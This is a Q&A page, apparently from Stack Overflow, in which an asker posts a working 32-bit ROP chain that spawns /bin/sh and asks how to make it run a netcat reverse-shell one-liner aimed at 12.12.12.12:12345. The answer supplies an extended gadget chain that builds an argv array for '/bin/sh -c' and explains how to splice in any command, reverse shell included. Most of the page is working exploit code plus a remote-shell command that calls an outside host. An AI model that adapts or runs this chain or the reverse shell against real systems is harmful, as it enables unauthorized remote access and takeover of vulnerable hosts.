Search code examples
assemblynetwork-securitystack-smash

Modifying a ROP gadget


I have a ROP gadget which looks like this-

p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80

As you must have guessed it just spawns a "/bin//sh". I want it to spawn a remote shell whose command is:

rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc  12.12.12.12 12345 > /tmp/$$

Can anyone help me in creating a gadget to execute the remote shell. I tried looking at this link, but couldn't understand much.


Solution

  • The problem is that your sample code launches /bin/sh, which is a single command, and without arguments too. What you want to do is a piped sequence of commands. You can execute that if you launch a shell with the whole command passed as an argument to -c. Thus what you really need is /bin/sh -c 'rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc 12.12.12.12 12345 > /tmp/$$'. This requires significant modification to your sequence, since you have to build an argument array.

    To keep the code short, let's do an example for /bin/sh -c "echo OK". The execve system calls expects an array of pointers terminated by NULL to specify the arguments. In the original version, this is just a NULL stored at .data + 8, and this address is loaded into ecx for the system call. The data layout is as follows:

    +0: '/bin'
    +4: '//sh'
    +8: NULL
    

    Now, we will need to add to that:

    +12: argv[0] = "/bin//sh"
    +16: argv[1] = "-c"
    +20: argv[2] = "echo OK"
    +24: argv[3] = NULL
    +28: "-c"
    +32: 'echo'
    +36: " OK"
    

    Remember that argv[0] is used for the program name by convention. Also, we will need to pass .data+12 in ecx for the system call.

    The whole thing may look like:

    p = ""
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0060) # @ .data
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0064) # @ .data + 4
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0068) # @ .data + 8
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # "-cXX" @ .data+28, the XX will be zeroed later
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e007c) # @ .data + 28
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += '-cXX'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    # zero the XX now
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e007e) # @ .data + 30
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # build command line @.data+32
    # let's do "echo OK" as an example
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0080) # @ .data + 32
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += 'echo'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0084) # @ .data + 36
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += ' OK.'
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    # zero terminator
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0087) # @ .data + 39
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # build the argument array @.data+12
    # pointer to "//bin/sh" (program name)
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e006c) # @ .data + 12
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += pack('<I', 0x081e0060) # @ .data
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # pointer to "-c"
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0070) # @ .data + 16
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += pack('<I', 0x081e007c) # @ .data + 28
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # pointer to command
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0074) # @ .data + 20
    p += pack('<I', 0x080f3246) # pop eax ; ret
    p += pack('<I', 0x081e0080) # @ .data + 32
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    # NULL
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0078) # @ .data + 24
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
    
    p += pack('<I', 0x080481f1) # pop ebx ; ret
    p += pack('<I', 0x081e0060) # @ .data
    p += pack('<I', 0x0819d91d) # pop ecx ; ret
    p += pack('<I', 0x081e006c) # @ .data + 12 (argument array)
    p += pack('<I', 0x08139e7a) # pop edx ; ret
    p += pack('<I', 0x081e0068) # @ .data + 8
    p += pack('<I', 0x08061150) # xor eax, eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x080f7a28) # inc eax ; ret
    p += pack('<I', 0x0805726e) # int 0x80
    

    To build your command you just have to split the command into chunks of 4 bytes and repeat the appropriate ROP block as many times as needed. Remember to zero terminate in the end. HTH.